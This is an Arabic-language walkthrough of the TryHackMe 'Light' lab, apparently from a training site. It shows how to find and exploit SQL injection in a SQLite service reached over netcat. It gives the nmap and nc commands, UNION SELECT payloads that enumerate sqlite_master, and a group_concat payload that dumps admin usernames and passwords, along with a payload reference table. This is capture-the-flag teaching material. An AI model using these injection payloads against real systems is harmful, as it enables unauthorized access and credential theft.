Light | STY IT Labs
STY IT Labs · TryHackMe · Easy

Light

مفيش موقع، مفيش فورم — بس تطبيق قاعدة بيانات بتتكلم معاه عن طريق netcat على port 1337. اللاب ده بيثبت إن الـ SQL Injection مش حكر على نماذج الويب: أي مكان بيوصل فيه إدخالك لجملة SQL مباشرة، هو باب مفتوح.

Easy 20 – 40 دقيقة 3 أسئلة Linux

عن اللاب

صاحب اللاب بيقولك بنص واضح: بيشتغل على تطبيق قاعدة بيانات اسمه Light، شغال على port 1337، وبيدّيك username جاهز (smokey) عشان تبدأ بيه. الأمر بسيط في الظاهر — تدخل اسم مستخدم، ياخدك الباسورد بتاعه — بس ده بالظبط الباب اللي هيوديك لثغرة SQL Injection في قاعدة بيانات SQLite، من غير أي متصفح أو HTTP خالص.

باسورد smokey اللي هتاخده الأول مجرد red herring — مش هيفتحلك SSH ولا أي حاجة. التحدي الحقيقي في الـ SQL injection.

مسار الحل

1
Recon
فحص شامل للبورتات — هتلاقي 22 (SSH) و1337 (تطبيق Light)
nmap -p- -A -T4 IP
2
الاتصال بـ netcat
اتصل بالتطبيق وادخل اسم المستخدم المعطى — هياخدك الباسورد بتاعه مباشرة
nc IP 1337smokey
3
اختبار الحقن
جرّب علامة اقتباس مفردة كاسم مستخدم — لو رجّع رسالة خطأ نحوي، يبقى التطبيق بيمرّر إدخالك لجملة SQL مباشرة
‘
4
تحديد نوع القاعدة
استخدم UNION SELECT عشان تأكد إنها SQLite وتطلّع رقم الإصدار
‘ Union Select sqlite_version() ‘
5
اكتشاف الجداول
استعلم عن جدول sqlite_master الخاص بميتاداتا القاعدة — هيوريك اسم جدول الأدمن
‘ Union Select name FROM sqlite_master WHERE type=’table’ ‘
6
استخراج البيانات
استخدم group_concat عشان تدمج اسم المستخدم والباسورد في نتيجة واحدة من جدول الأدمن — هتاخد اسم المستخدم، الباسورد، والـ flag سوا
‘ Union Select group_concat(username||”:”||password) FROM admintable ‘

مرجع سريع للـ Payloads

الـ Payloadالغرض
‘اختبار وجود ثغرة الحقن
‘ Union Select sqlite_version() ‘تأكيد نوع القاعدة والإصدار
‘ Union Select group_concat(sql) FROM sqlite_master ‘عرض بنية كل الجداول دفعة واحدة
‘ Union Select COUNT(*) FROM admintable ‘معرفة عدد الصفوف قبل السحب
‘ Union Select group_concat(username||”:”||password) FROM admintable ‘سحب كل بيانات الاعتماد في نتيجة وحدة

المهارات اللي هتكتسبها

SQL Injection (خارج الويب) SQLite Enumeration UNION-Based Extraction Raw TCP Service Testing